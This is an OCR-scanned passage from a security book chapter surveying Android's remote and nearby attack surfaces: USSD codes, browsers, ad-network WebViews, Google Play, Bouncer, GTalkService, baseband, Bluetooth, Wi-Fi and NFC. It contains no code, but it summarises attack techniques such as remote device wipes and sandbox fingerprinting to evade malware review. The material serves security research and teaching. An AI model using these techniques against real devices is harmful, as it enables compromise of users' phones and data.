SL messages to invoke Unstructured Supplementary Service Data (USSD) facili- 
ties. USSD is intended to allow the carrier and GSM (Global System for Mobile 
communication) device to perform actions like refilling and checking account 
balances, voice mail notifications, and more. When the device received such an 
SL message, it opened the default browser without user interaction. When the 
browser loaded, it processed Ravi's page containing several tel : // URLs. These 
URLs then caused the USSD code to be entered into the phone dialer automati- 
cally. At the time, many devices automatically processed these codes after they 
were fully entered. Some devices (correctly) required the user to press the Send 
button after. A couple of particularly nasty USSD codes present in Samsung’s 
devices were used to demonstrate the severity of the attack. The first code was 
able to destroy a user’s SIM card by repeatedly attempting to change its Personal 
Unblocking Key (PUK). After ten failures the SIM would be permanently dis- 
abled, requiring the user to obtain a new one. The other code used was one that 
caused an immediate factory reset of the handset. Neither operation required 
any user interaction. This serves as an especially impactful example of what is 
possible through SMS and protocols stacked on top of it. 

Additional information about exercising the attack surface exposed by SMS 
is presented in Chapter 11. 
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Client-side Attack Surface 


As previously mentioned, typical configurations on today’s networks mask 
much of the traditional remote attack surface. Also, many client applications 
are very trusting of servers they communicate with. In response to these facts, 
attackers have largely shifted to targeting issues present in the attack surface 
presented by client software. Information security professionals call this the 
client-side attack surface. 

Reaching these attack surfaces usually depends on potential victims initiating 
actions, such as visiting a website. However, some attack techniques can lift this 
restriction. On-path attackers are able to easily remove this restriction in most 
cases by injecting their attack into normal traffic. One example is a watering 
hole attack, which targets the users of a previously compromised popular site. 

Despite being tricky to reach, targeting the client-side attack surface allows 
attackers to set their crosshairs much more precisely. Attacks that use electronic 
mail vectors, for example, can be sent specifically to a target or group of targets. 
Through source address examination or fingerprinting, on-path attackers can 
limit to whom they deliver their attack. This is a powerful property of attacking 
the client-side attack surface. 

Android devices are primarily designed to consume and present data. Therefore, 
they expose very little direct remote attack surface. Instead, the vast majority 
of the attack surface is exposed through client applications. In fact, many client 
applications on Android initiate actions on the user’s behalf automatically. For 
instance, e-mail and social networking clients routinely poll servers to see if 
anything new is available. When new items are found, they are processed in 
order to notify the user that they are ready for viewing. This is yet another way 
that the client-side attack surface is exposed without the need for actual user 
interaction. The remainder of this section discusses the various attack surfaces 
exposed by client applications on Android in more detail. 


Browser Attack Surface 


The modern web browser represents the most rich client-side application in 
existence. It supports a plethora of web technologies as well as acts as a gateway 
to other technologies that an Android device supports. Supported World Wide 
Web technologies range from simple HTML to wildly complex and rich applica- 
tions built upon myriad APIs exposed via JavaScript. In addition to rendering 
and executing application logic, browsers often support a range of underlying 
protocols such as HTTP and FTP. All of these features are implemented by an 
absolutely tremendous amount of code behind the scenes. Each of these com- 
ponents, which are often embodied by third-party projects, represents an attack 
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surface in its own right. The rest of this section introduces the attack vectors 
and types of vulnerabilities to which browsers are susceptible and discusses 
the attack surface within the browser engines commonly available on Android 
devices. 

Successful attacks against web browsers can be accomplished several ways. 
The most common method involves persuading a user to visit a URL that is 
under the attacker’s control. This method is likely the most popular due to 
its versatility. An attacker can easily deliver a URL via e-mail, social media, 
instant messaging, or other means. Another way is by inserting attack code 
into compromised sites that intended victims will visit. This type of attack is 
called a “watering hole” or “drive-by” attack. Attackers in a privileged position, 
such as those that are on-path or logically adjacent, can inject attack content at 
will. These types of attacks are often called Man-in-the-Middle (MitM) attacks. 
No matter which vector is used to target the browser, the underlying types of 
vulnerabilities are perhaps more important. 

Securely processing content from multiple untrusted sources within a single 
application is challenging. Browsers attempt to segregate content on one site 
from accessing the content of another site by way of domains. This control 
mechanism has given rise to several entirely new types of vulnerabilities, such 
as cross-site scripting (XSS) and cross-site request forgery (CSRF or XSRF). Also, 
browsers process and render content from multiple different trust levels. This 
situation has given birth to cross-zone attacks as well. For example, a website 
should not be able to read arbitrary files from a victim’s computer system and 
return them to an attacker. However, zone elevation attacks discovered in the 
past have allowed just that. By no means is this a complete list of the types of 
vulnerabilities that affect browsers. An exhaustive discussion of such issues 
is far beyond the scope of this section. Several books, including “The Tangled 
Web” and “The Browser Hacker’s Handbook,” focus entirely on web browser 
attacks and are recommended reading for a more in-depth exploration. 

Up until Android 4.1, devices shipped with only one browser: the Android 
Browser (based on WebKit). With the release of the 2012 Nexus 7 and the Nexus 
4, Google started shipping Chrome for Android (based on Chromium) as the 
default browser. For a while, the Android browser was still available, too. In 
current versions of vanilla Android, Chrome is the only browser presented to 
the user. However, the traditional Android browser engine is still present and is 
used by apps discussed further in the “Web-Powered Apps” section later in this 
chapter. In Android 4.4, Google switched from using a pure-WebKit-supplied 
engine ( i bwebcore. so) to using an engine based on Chromium (|i bwebvi ew- 
chromium. so). 

The primary difference between Chrome for Android and the two other 
engines is that the Chrome for Android receives updates via Google Play. The 
WebKit- and Chromium-based engines, which are exposed to apps via the 
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Android Framework, are baked into the firmware and cannot be updated with- 
out a firmware upgrade. This drawback leaves these two engines exposed to 
publicly disclosed vulnerabilities, sometimes for a lengthy period of time. This 
is the “half-day vulnerability” risk first mentioned in Chapter 1. 

Enumerating attack surfaces within a particular browser engine can be achieved 
in several ways. Each engine supports a slightly different set of features and thus 
exposes a slightly different attack surface. Because nearly all input is untrusted, 
almost every browser feature constitutes an attack surface. An excellent starting 
point is investigating the functionality specified by standards documents. For 
example, the HTML and SVG specifications discuss a variety of features that 
deserve a closer look. Sites that track which features are implemented in each 
browser engine are priceless in this process. Also, the default browser engines 
on Android systems are open source. Diving down the browser attack surface 
rabbit hole by digging into the code is also possible. 

Deeper attack surfaces lie beneath the various features supported by browsers. 
Unfortunately, enumerating these second-tier attack surfaces is largely a manual 
process. To simplify matters, researchers tend to further classify attack surfaces 
based on certain traits. For example, some attack surfaces can be exercised 
when JavaScript is disabled whereas others cannot. Some functionality, such 
as Cascading Style Sheets (CSS), interact in complex ways with other technolo- 
gies. Another great example is Document Object Model (DOM) manipulation 
through JavaScript. Attacker supplied scripts can dynamically modify the 
structure of the web page during or after load time. All in all, the complexity 
that browsers bring leaves a lot of room for imagination when exploring the 
attack surfaces within. 

The remainder of this book looks closer at fuzzing (Chapter 6), debugging 
(Chapter 7), and exploiting (Chapter 8 and Chapter 9) browsers on Android. 


Web-Powered Mobile Apps 


The vast majority of applications written for mobile devices are merely clients 
for web-based back-end technologies. In the old days, developers created their 
own protocols on top of TCP or UDP to communicate between their clients and 
servers. These days, with the proliferation of standardized protocols, libraries, 
and middleware, virtually everything uses web-based technologies like web 
services, XML RPC, and so on. Why write your own protocol when your mobile 
application can make use of the existing web services API that your web front 
end uses? Therefore, most of the mobile applications for popular web-based 
services (Zipcar, Yelp, Twitter, Dropbox, Hulu, Groupon, Kickstarter, and so 
on) use this type of design. 

Mobile developers often trust that the other side of the system is well behaved. 
That is, clients expect servers to behave and servers expect clients are not malicious. 
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Unfortunately, neither is necessarily the case. There are ways to increase the 
true level of trust between the client and the server, particularly to combat on- 
path or logically adjacent attackers. However, the server can never assume that 
the client is entirely trusted. Further, the client should never assume that the 
server it is talking to is a legitimate one. Instead, it should go to great lengths 
to authenticate that the server is indeed the correct one. 

Most of this authentication takes place through the use of SSL or TLS. 
Techniques like certificate pinning can even protect against rogue Certificate 
Authorities (CAs). Because it is entirely up to the mobile application develop- 
ers to properly utilize these technologies, many applications are insufficiently 
protected. For example, a group of researchers from two German universities 
released a paper in 2008 entitled “Why Eve and Mallory Love Android: An 
Analysis of Android SSL (In)Security.” The paper documented the researchers’ 
findings on the state of SSL verification in Android apps. Their research found 
that up to eight percent of all applications on the Google Play market that made 
use of SSL libraries did so in such a way that easily allowed MitM attacks due 
to inadequately validated SSL/TLS certificates. 

Of course, the attack surface exposed by a web-powered mobile app varies from 
one application to the next. One particularly dangerous example is a common 
Twitter client. Twitter is a web-based social media platform, but many clients 
exist in the form of Android apps. These apps often use WebVi ews (a building 
block exposed by the Android Framework) to render the rich content that can 
be included in a tweet. For example, most Twitter clients render images inline 
automatically. This represents a significant attack surface. A vulnerability in 
the underlying image-parsing library could potentially compromise a device. 
Further, users on Twitter often share links to other interesting web content. 
Curious users who follow the links could be susceptible to traditional browser 
attacks. Additionally, many Twitter clients subscribe to push messages (where 
the server provides new data as it appears) or regularly poll (ask) the server for 
new data. This design paradigm turns a client-side application into something 
that could be remotely attacked without any user interaction. 


Ad Networks 


Advertising networks are a prominent part of the Android app ecosystem 
because they are often used by developers of ad-supported free mobile apps. 
In these apps, a developer includes additional code libraries and invokes them 
to display ads as they deem necessary. Behind the scenes, the app developer 
has an advertiser account and is credited based on various criteria, such as the 
number of ads displayed. This can be quite lucrative for apps that are extremely 
popular (for example, Angry Birds) so it is no surprise that app developers take 
this route. 
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Advertising networks represent an interesting and potentially dangerous piece 
of the puzzle for several reasons. The functionality that renders advertisements is 
usually based on an embedded browser engine (a We b Vi ew). As such, traditional 
browser attacks apply against these apps but typically only via the MitM vec- 
tors. Unlike traditional browsers, these WebVi ews often expose additional attack 
surfaces that allow remote compromise using Java-style reflection attacks. Ad 
network frameworks are especially terrifying because legitimate advertisers 
could also potentially take control of devices using these weaknesses. Although 
these types of attacks are not covered further in this book, we recommend that 
you read up on them by doing an Internet search for the terms “WebView,” 
“addJavascriptInterface,” and “Android Ad Networks.” 

In addition to the risk of remote code execution, advertising frameworks also 
present a significant risk to privacy. Many frameworks have been found to be 
collecting a plethora of personal information and reporting it back to the adver- 
tiser. This type of software is commonly referred to as adware and can become 
a terrible nuisance to the end user. For example, an advertising framework that 
collects the e-mail addresses of a user’s contacts could sell those to spammers who 
would then bombard those addresses with unsolicited junk e-mails. Although 
this is not as serious as fully compromising an Android device, it should not be 
taken lightly. Sometimes compromising a user’s location or contacts is all that 
is necessary to achieve an attacker's goals. 


Media and Document Processing 


Android includes many extremely popular and well vetted open source librar- 
ies, many of which are used to process rich media content. Libraries like | i bpng 
and | i bj peg are prolific and used by almost everything that renders PNG and 
JPEG images, respectively. Android is no exception. These libraries represent 
a significant attack surface due to the amount of untrusted data processed by 
them. As discussed previously, in the “Web-Powered Mobile Apps” section, 
Twitter clients often render images automatically. In this situation, an attack 
against one of these components might lead to a remote compromise without 
user interaction. These libraries are well vetted, but that does not mean no issues 
remain. The past two years have seen the discovery of important issues in both 
of the aforementioned libraries. 

Additionally, some OEM Android devices ship with document viewing and 
editing tools. For example, the Polaris Office application shipped on the Samsung 
Galaxy S3 was leveraged to achieve remote code execution in the 2012 Mobile 
Pwn2Own competition. The attack vector used in the competition was Near 
Field Communication (NFC), which is discussed in the “NFC” section later in 
this chapter. 
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Electronic Mail 


An electronic mail client is yet another client-side application that has an exposed 
attack surface. Like the other aforementioned client-side applications, electronic 
mail can be used as a vector to deliver browser attacks. In fact, Android e-mail 
clients are often based on a browser engine with a somewhat limited configura- 
tion. More specifically, e-mail clients do not support JavaScript or other scripted 
content. That said, modern e-mail clients render a subset of rich media, such 
as markup and images, inline. Also, e-mail messages can contain attachments, 
which have historically been a source of trouble on other platforms. Such attach- 
ments could, for example, be used to exploit applications like Polaris Office. The 
code that implements these features is an interesting area for further research 
and seems to be relatively unexplored. 


Google Infrastructure 


Android devices, though powerful, rely on cloud-based services for much of 
their functionality. A large portion of the infrastructure behind these services 
is hosted by Google itself. The functionality provided by these services ranges 
from contact and e-mail data used by the phone dialer and Gmail to sophisti- 
cated remote management features. As such, these cloud services present an 
interesting attack surface, albeit not one that is usually reachable by a typical 
attacker. Many of these services are authenticated by Google’s Single Sign On 
(SSO) system. Such a system lends itself to abuse because credentials stolen 
from one application could be used to access another application. This section 
discusses several relevant back-end infrastructure components and how they 
can be used to remotely compromise an Android device. 


Google Play 


Google's primary outlet for content, including Android applications, is Google 
Play. It allows users to purchase music, movies, TV shows, books, magazines, 
apps, and even Android-based devices themselves. Most content is download- 
able and is made available immediately on a chosen device. In early 2011, Google 
opened a website to access Google Play. In late 2013, Google added a remote 
device management component called Android Device Manager. The privileged 
and trusted role that Google Play serves makes it an interesting infrastructure 
component to consider when thinking about attacking Android devices. In fact, 
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Google Play has been used in several attacks, which are covered more in the 
following sections. 


Malicious Apps 


Because much of the content within Google Play comes from untrusted sources, it 
represents another significant remote attack surface. Perhaps the best example is 
an Android app. As is evident by now, Android apps contain code that executes 
directly on an Android device. Therefore, installing an application is equivalent 
to granting arbitrary code execution (albeit within Android’s user-level sandbox) 
to the app’s developer. Unfortunately, the sheer number of apps available for any 
given task overwhelms users and makes it very difficult for them to determine 
whether they should trust a particular developer. If a user incorrectly assesses 
trust, installing a malicious app could fully compromise her device. Beyond 
making incorrect trust decisions, attackers could also compromise a developer’s 
Google Play account and replace his application with malicious code. The mali- 
cious application would then be automatically installed on any device where the 
current, safe version of the app is already installed. This represents a powerful 
attack that could be devastating to the Android ecosystem if carried out. 

Other content made available through Google Play might also be able to 
compromise a device, but it’s not entirely clear where this content originates. 
Without knowing that, it’s impossible to determine if there is an attack surface 
worth investigating. 

Apart from the Google Play web application itself, which is outside the scope 
of this chapter, the Google Play application on an Android device exposes an 
attack surface. This app must process and render untrusted data that is sup- 
plied by developers. For example, the description of the application is one such 
source of untrusted data. The underlying code beneath this attack surface is 
one interesting place to look for bugs. 


Third-Party App Ecosystems 


Google allows Android users to install applications outside of Google Play. In 
this way, Android is open to allowing independent third parties to distribute 
their applications from their company (or personal) websites. However, users 
must explicitly authorize application installs from third parties by using the 
workflow shown in Figure 5-3. 


149 


150 


Chapter 5 = Understanding Android’s Attack Surface 


Security 


ICE ADMINISTRATION 


administrators 


any damage to 
of data that may result from using 
these apps 


Unknown sources 


ancel 
CREDENTIAL STORAGE 


Security Trusted credentials 


Language & input 
Install from SD card 


Ə Backup & reset 


Figure 5-3: Authorize unknown apps workflow 


The ability to install third-party applications on Android devices has natu- 
rally led to the creation of third-party application ecosystems, which come with 
their own set of dangers. Perhaps the biggest threat posed by third-party app 
markets is one that carries over from pirated or cracked software on PCs and 
Macs: Trojans. Malicious actors will decompile code for a popular trusted app 
and modify it to do something malicious before posting it to the third-party 
app market. A 2012 study by Arxan Technologies entitled “State of Security in 
the App Economy: ‘Mobile Apps Under Attack” found that 100 percent (or all) 
of the applications listed on Google Play’s Top 100 Android Paid App list were 
hacked, modified, and available for download on third-party distribution sites. 
The report also provides some insights into the popularity (or pervasiveness) of 
these sites, mentioning downloads of more than 500,000 for some of the more 
popular paid Android apps. 

In Android 4.2, Google introduced a feature called Verify Apps. This feature 
works through the use of fingerprinting and heuristics. It extracts heuristic data 
from applications and uses it to query a Google-run database that determines 
if the application is known malware or has potentially malicious attributes. In 
this way, Verify Apps simulates a simple signature-based blacklisting system 
similar to that of antivirus systems. Verify Apps can issue warnings to the user 
or block installation entirely based on the classification of attributes from the 
application. Figure 5-4 shows this feature in action. 


Chapter 5 = Understanding Android’s Attack Surface 


a Z D 


>] Google Play Store ta Google Play Store 


app may be dangerou 


Figure 5-4: Verify Apps blocking and warning 


In early 2013, the Andr oi d. Troj . mdk Trojan was found embedded in up to 
7,000 cracked Android applications available on third-party application sites. 
This included some popular games such as Temple Run and Fishing Joy. This 
Trojan infected up to 1 million Chinese Android devices, making them part of 
one of the biggest botnets known publicly at the time. This dwarfed the previ- 
ously discovered Rootstrap Android botnet that infected more than 100,000 
Android devices in China. Obviously third-party app markets pose a clear 
and present danger to Android devices and should be avoided if possible. In 
fact, whenever possible, make sure that the Allow Installations from Unknown 
Sources setting is disabled. 


Bouncer 


In an attempt to deal with malicious applications in Google Play, the Android 
Security Team runs a system called Bouncer. This system runs the applications 
that developers upload inside a virtual environment to determine whether 
the app exhibits malicious behavior. For all intents and purposes, Bouncer is 
a dynamic runtime analysis tool. Bouncer is essentially an emulator based on 
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Quick Emulator (QEMU), much like the one included in the Android SDK, to run 
Android and execute the app in question. To properly simulate the environment 
of a real mobile device, Bouncer emulates the common runtime environment 
for an application, which means the app can access 


m Address books 
= Photo albums 
m SMS messages 


m Files 


All of these are populated with dummy data unique to Bouncer’s emulated 
virtual machine disk image. Bouncer also emulates common peripherals found 
on mobile devices, such as a camera, accelerometer, GPS, and others. Furthermore, 
it allows the application to freely contact the Internet. Charlie Miller and Jon 
Oberheide used a “reverse shell” application that gave them terminal-level access 
to Google’s Bouncer infrastructure via HTTP requests. Miller and Oberheide 
also demonstrated a number of ways that Bouncer can be fingerprinted by a 
malicious application. These techniques ranged from identifying the unique 
dummy data found in Bouncer’s SMS messages, address books, and photo 
albums to detecting and uniquely fingerprinting the QEMU instance unique 
to the Bouncer virtual machines. These identification techniques could then 
be used by a malicious attacker to avoid executing the malicious functionality 
of their application while Bouncer was watching. Later, the same application 
executing on a user’s phone could commence its malicious activities. 

Nicholas Percoco published similar research in his Blackhat 2012 white paper 
“Adventures in Bouncerland,” but instead of detecting Bouncer’s presence, his 
techniques involved developing an application with functionality that justi- 
fied permissions for the download and execution of malicious JavaScript. The 
application was a web-backed, user-configurable SMS blocking application. 
With permissions to access the web and download JavaScript, the backend web 
server ostensibly became a command and control server that fed the application 
malicious code at runtime. Percoco’s research also demonstrated that relatively 
minor updates made to a new release of an app can go relatively unnoticed as 
having malicious content. 

Even excluding these very interesting techniques for evading Bouncer, mali- 
cious applications still manage to surface on Google Play. There is a burgeoning 
malware and spyware world for default-configured Android devices. Because 
devices can be configured to allow installing apps from third parties, the major- 
ity of malicious applications are found there. 


Google Phones Home 


Behind the scenes, Android devices connect to Google’s infrastructure through 
a service called GTal kService. It is implemented using Google’s ProtoBufs 
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transport and connects a device to many of Google’s back-end services. For 
example, Google Play and Gmail use this service to access data in the cloud. 
Google made Cloud to Device Messaging (C2DM), which uses GTal kService, 
available in Android 2.2. In June 2012, Google deprecated C2DM in favor of 
Google Cloud Messaging (GCM). GCM continues to use GTal kServi ce for cloud 
communications. A more specific example involves installing applications from 
the Google Play website as shown in Figure 5-5. 
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Figure 5-5: Installing an application from the web 


Apart from user-initiated installation, one of those most interesting proper- 
ties of GTal kSer vi ce is that it allows Google to install and remove applications 
at its own will. In fact, it is possible to do so silently without notifying the end 
user. In the past, Google used this mechanism as an emergency mechanism to 
remove confirmed malicious applications from the entire device pool at once. 
Also, it has been used to push applications onto the device as well. In 2013, 
Google launched an initiative to provide APIs to older devices called Google 
Play Services. In doing so, Google installed a new application on all Android 
devices to provide this functionality. 

Although GTal kServi ce represents an interesting attack surface, vectors into 
it require trusted access. This functionality’s connection to the cloud is secured 
using certificate-pinned SSL. This limits attacks to those that come from within 
Google’s own back end. That said, leveraging Google’s back end to conduct 
attacks is not entirely impossible. 

Unfortunately, diving deeper into the attack surface exposed by GTal kService 
requires significant reverse-engineering effort. The components that implement 
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this part of Android devices are closed source and aren't part of Android 
Open Source Project (AOSP). Inspecting them requires the use of disassem- 
blers, decompilers, and other specialized tools. A good starting point is to 
reverseengineer the Google Play application or the GTal kSer vi ce itself. 

Jon Oberheide demonstrated two separate attacks that utilized GTal kServi ce 
to compromise devices. The first, at SummerCon 2010, showed that it was pos- 
sible to access the authentication token used to maintain the persistent back-end 
connection via the com. accounts. Account Manager API. Malicious applications 
could use this to initiate application installs without prompting or reviewing 
application permissions. More information on this attack is available at ht t ps: / / 
jon. oberhei de. org/ bl og/2011/05/28/ when- angry-birds-attack- android- 
edition/. The second attack, discussed in detail at htt ps://jon.oberheide 
.org/blog/2011/03/07/ how-i-al most-won- pwn2own- via-xss/,showed that an 
XSS vulnerability in the Google Play website allowed attackers to do the same. 
This time, however, it was not necessary to install a malicious application. In both 
cases, Oberheide developed proof-of-concept codes to demonstrate the attacks. 
Oberheide’s findings are high-impact and fairly straightforward. Exploring this 
attack surface further is an interesting area for future work. 


Physical Adjacency 


Recall the working definition of physical adjacency from the “Adjacency” section 
earlier in this chapter. Unlike physical attacks, which require directly touching 
the target device, physically adjacent attacks require that an attacker is within a 
certain range of her intended victim. Much of this attack surface involves various 
types of radio frequency (RF) communications. However, some attack surfaces 
are not related to RF. This section covers wireless supported communications 
channels in depth and discusses other attack surfaces that are reachable within 
certain proximities. 


Wireless Communications 


Any given Android device supports a multitude of different radio-based wireless 
technologies. Almost all devices support Wi-Fi and Bluetooth. Many of those 
also support Global Positioning System (GPS). Devices able to make cellular 
telephone calls support one or more of the standard cell technologies, such as 
Global System for Mobile communications (GSM) and Code Division Multiple 
Access (CDMA). Newer Android devices also support Near Field Communication 
(NFC). Each of the supported wireless technologies has specific frequencies 
associated with them and thus is only reachable within certain physical proximi- 
ties. The following sections will dive deeper into each technology and explain 
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the associated access requirements. Before diving into those details, let’s look 
at concepts that apply to all of these mediums. 

All wireless communications are susceptible to a wide range of attacks, both 
active and passive. Active attacks require an attacker to interfere with the normal 
flow of information and include jamming, spoofing, and man-in-the-middle 
(MitM). Because Wi-Fi and cellular networking are used to access the Internet at 
large, MitM attacks against these mediums provide access to an extremely rich 
attack surface. Passive attacks, like sniffing, enable attackers to compromise the 
information flowing through these mediums. Stolen information is powerful. 
For example, compromising keystrokes, authentication credentials, financial 
data, or otherwise can lead to further and more impactful attacks. 


GPS 


GPS, which is often referred to as location data in Android, allows a device to 
determine where it is on the planet. It works based on signals from satellites that 
orbit the planet. The GPS receiver chip receives these signals, amplifies them, 
and determines its location based on the result. Most people know GPS because 
it is often used to enable turn-by-turn navigation. In fact, devices designed 
specifically for navigation are often called GPS devices. In modern times, GPS 
has become an important tool in travelers’ toolboxes. 

However, having GPS so widely available is not without controversy. Though 
GPS is a one-way communications mechanism, location data is exposed to 
Android applications through the Android Framework (android. location API) 
and Google Play Services (Location Services API). Regardless of which API is 
used, many Android applications do not respect end-user privacy and instead 
monitor the user’s location. Some of the authors of such apps are believed to sell 
access to the data to unknown third parties. This practice is truly concerning. 

Under the hood, the hardware and software that implements GPS varies from 
one device to the next. Some devices have a dedicated chip that provides GPS 
support while others have GPS support integrated into the System-on-Chip 
(SoC). The software that supports the hardware varies accordingly and is usu- 
ally closed source and proprietary. This fact makes enumerating and digging 
deeper into the exposed attack surface difficult, time consuming, and device 
specific. Like any other communications mechanism, software that deals with 
the radio itself represents a direct attack surface. Following the data as it flows 
up the software stack, additional attack surfaces exist. 

Because GPS signals emanate from outer space, an attacker could theoretically 
be very far away from his target device. However, there are no known attacks 
that compromise an Android device via the GPS radio. Because Android devices 
don’t use GPS for security, such as authentication, the possibilities are limited. 
The only known attacks that involve location data are spoofing attacks. These 
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attacks could mislead a user using turn-by-turn navigation or allow cheating 
at games that use the location data as part of their logic. 


Baseband 


The single part of a smartphone that sets it apart from other devices the most 
is the ability to communicate with mobile networks. At the lowest level, this 
functionality is provided by a cellular modem. This component, often called 
the baseband processor, might be a separate chip or might be part of the SoC. The 
software that runs on this chip is referred to as the baseband firmware. It is one of 
the software components that comprise the Android telephony stack. Attacks 
against the baseband are attractive because of two things: limited visibility to 
the end user and access to incoming and outgoing cellular voice and data. As 
such it represents an attractive attack surface in a smartphone. 

Although an attack against the baseband is a remote attack, an attacker must 
be within a certain proximity to a victim. In typical deployments, the cell modem 
can be several miles away from the cell tower. Mobile devices will automatically 
connect to and negotiate with the tower with the strongest signal available. 
Because of this fact, an attacker only needs to be close enough to the victim to 
appear to be the strongest signal. After the victim associates with the attacker's 
tower, the attacker can MitM the victim’s traffic or send attack traffic as they 
desire. This type of attack is called a Rogue Base Station attack and has garnered 
quite a bit of interest in recent years. 

Android smartphones support several different mobile communications 
technologies like GSM, CDMA, and Long Term Evolution (LTE). Each of these 
are made up of a collection of protocols used to communicate between vari- 
ous components within a cellular network. To compromise a device, the most 
interesting protocols are those that are spoken by the device itself. Each protocol 
represents an attack vector and the underlying code that processes it represents 
an attack surface. 

Digging deeper into the attack surface exposed by the baseband not only 
requires intense application of tools like IDA Pro, but also requires access to 
specialized equipment. Because baseband firmware is typically closed source, 
proprietary, and specific to the baseband processor in use, reverse-engineering 
and auditing this code is challenging. Communicating with the baseband is only 
possible using sophisticated radio hardware like the Universal Software Radio 
Peripheral (USRP) from Ettus Research or BladeRF from Nuand. However, the 
availability of small, portable base stations like Femtocells and Picopops could 
make this task easier. When the hardware requirement has been fulfilled, it’s 
still necessary to implement the necessary protocols to exercise the attack sur- 
face. The Open Source Mobile Communications (Osmocom) project, as well as 
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several other projects, provides open source implementations for some of the 
protocols involved. 

In Android, the Radio Interface Layer (RIL) communicates with the baseband 
and exposes cellular functionality to rest of the device. More information about 
RIL is covered in Chapter 11. 


Bluetooth 


The Bluetooth wireless technology widely available on Android devices supports 
quite a bit of functionality and exposes a rich attack surface. It was originally 
designed as a wireless alternative to serial communications with relatively low 
range and power consumption. Although most Bluetooth communications are 
limited to around 32 feet, the use of antennae and more powerful transmitters 
can expand the range up to 328 feet. This makes attacks against Bluetooth the 
third-longest-range wireless medium for attacking Android devices. 

Most mobile device users are familiar with Bluetooth due to the popularity of 
Bluetooth headsets. Many users do not realize that Bluetooth actually includes 
more than 30 profiles, each of which describes a particular capability of a Bluetooth 
device. For example, most Bluetooth headsets use the Hands-Free Profile (HFP) 
and/or Headset Profile (HSP). These profiles give the connected device control 
over the device's speaker, microphone and more. Other commonly used profiles 
include File Transfer Profile (FTP), Dial-up Networking Profile (DUN), Human 
Interface Device (HID) Profile, and Audio/Video Remote Control Profile (AVRCP). 
Though a full examination of all profiles is outside the scope of this book, we 
recommend you do more research for a full understanding of the extent of the 
attack surface exposed by Bluetooth. 

Much of the functionality of the various Bluetooth profiles requires going 
through the pairing process. Usually the process involves entering a numeric 
code on both devices to confirm that they are indeed talking to each other. Some 
devices have hard-coded codes and therefore are easier to attack. After a pairing 
is created, it’s possible to hijack the session and abuse it. Possible attacks include 
Bluejacking, Bluesnarfing, and Bluebugging. In addition to being able to pair with 
hands-free devices, Android devices can be paired with one another to enable 
transferring contacts, files, and more. The designed functionality provided by 
Bluetooth is extensive and provides access to nearly everything that an attacker 
might want. Many feasible attacks exploit weaknesses in pairing and encryp- 
tion that is part of the Bluetooth specification. As such, Bluetooth represents a 
rather rich and complicated attack surface to explore further. 

On Android devices, the attack surface exposed by Bluetooth starts in the 
kernel. There, drivers interface with the hardware and implement several of the 
low-level protocols involved in the various Bluetooth profiles like Logical Link 
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Control and Adaptation Protocol (L2CAP) and Radio Frequency Communications 
(RFCOMM). The kernel drivers expose additional functionality to the Android 
operating system through various Inter Process Communication (IPC) mecha- 
nisms. Android used the Bluez user-space Bluetooth stack until Android 4.2 
when Google switched to Bluedroid. Next, code within the Android Framework 
implements the high-level API exposed to Android apps. Each component rep- 
resents a part of the overall attack surface. More information about the Bluetooth 
subsystem in Android is available athttps://source. android. com/devices/ 
bluetooth. html. 


Wi-Fi 


Nearly all Android devices support Wi-Fi in its most basic form. As newer devices 
have been created, they have kept up with the Wi-Fi standards fairly well. At 
the time of this writing, the most widely supported standards are 802.11g and 
802.11n. Only a few devices support 802.11ac. Wi-Fi is primarily used to connect 
to LANs, which in turn provide Internet access. It can also be used to connect 
directly to other computer systems using Ad-Hoc or Wi-Fi Direct features. The 
maximum range of a typical Wi-Fi network is about 120 feet, but can easily be 
extended through the use of repeaters or directional antennae. 

It’s important to note that a full examination of Wi-Fi is beyond the scope of 
this book. Other published books, including “Hacking Exposed Wireless,” cover 
Wi-Fi in more detail and are recommended if you are interested. This section 
attempts to briefly introduce security concepts in Wi-Fi and explain how they 
contribute to the attack surface of an Android device. 

Wi-Fi networks can be configured without authentication or using several dif- 
ferent authentication mechanisms of varying strength. Open networks, or those 
without authentication, can be monitored wirelessly using completely passive 
means (without connecting). Authenticated networks use various encryption 
algorithms to secure the wireless communications and thus monitoring without 
connecting (or at least having the key) becomes more difficult. The three most 
popular authentication mechanisms are Wired Equivalent Privacy (WEP), Wi-Fi 
Protected Access (WPA), and WPA2. WEP is broken relatively easily and should 
be considered roughly equivalent to no protection at all. WPA was created to 
address these weaknesses and WPA2 was created to further harden Wi-Fi 
authentication and encryption. 

The Wi-Fi stack on Android is much like the Bluetooth stack. In fact, some 
devices include a single chip that implements both technologies. Like Bluetooth, 
the source code for the Wi-Fi stack is open source. It begins with kernel drivers 
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that manage the hardware (the radio) and handle much of the low-level proto- 
cols. In user-space, wpa_supplicant implements authentication protocols and 
the Android operating system manages memorized connections. Like Bluetooth, 
these components are exposed to untrusted data and thus represent an exposed 
attack surface that’s interesting to explore further. 

In addition to connecting to Wi-Fi access points (APs), most Android devices 
are capable of assuming the AP role, too. In doing so, the device increases its 
attack surface significantly. Additional user-space code, more specifically hostapd 
and a DNS server, is spun up and exposed to the network. This increases the 
remote attack surface, especially if an attacker is able to connect to the AP hosted 
by the Android device. 

Other than generic Wi-Fi attacks, no successful attacks against the Wi-Fi stack 
of an Android device are known. Viable generic attacks include rogue hotspots 
and MitM attacks. 


NFC 


NFC is a wireless communications technology that builds upon Radio Frequency 
Identification (RFID). Of the wireless technologies supported by Android devices, 
NFC has the shortest range, which is typically limited to less than 8 inches. 
There are three typical use cases for NFC on Android devices. First, tags that 
are usually in the form of stickers are presented to the device, which then reads 
the tag’s data and processes it. In some cases, such stickers are prominently 
displayed in public places as part of interactive advertising posters. Second, 
two users touch their Android devices together to beam data, such as a photo. 
Finally, NFC is routinely used for contactless payments. 

The Android implementation of NFC is fairly straightforward. Figure 5-6 
depicts an overview of Android’s NFC stack. Kernel drivers speak to the NFC 
hardware. Rather than doing deep processing on received NFC data, the driver 
passes the data to the NFC Service (com. android. nf c) within the Android 
Framework. In turn, the NFC Service delivers the NFC tag data to Android 
apps that have registered to be the recipient of NFC messages. 

NFC data comes in several forms, many of which are supported by Android 
by default. All of these supported implementations are very well documented 
in the Android SDK under the TagTechno!l ogy class. More information about 
NFC on Android is available at htt p://developer.android.com/ gui de/ 
topics/connectivity/nfc/index. html. 
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NFC Tag 


NFC Tag Data: 
(Nodef, MiFare, etc.) : z z 


NFC Transmitter/Receiver 


Android Kernel 
libpn544_fs.s0 


NFC Service (com.android.nfc) 


libnfc_jni.so libnfc.so libnfc_ndef.so 


Android App Android App Android App 
Figure 5-6: NFC on Android 


The most popular message format is NFC Data Exchange Format (NDEF). 
NDEF messages can contain any data, but are typically used to transmit text, 
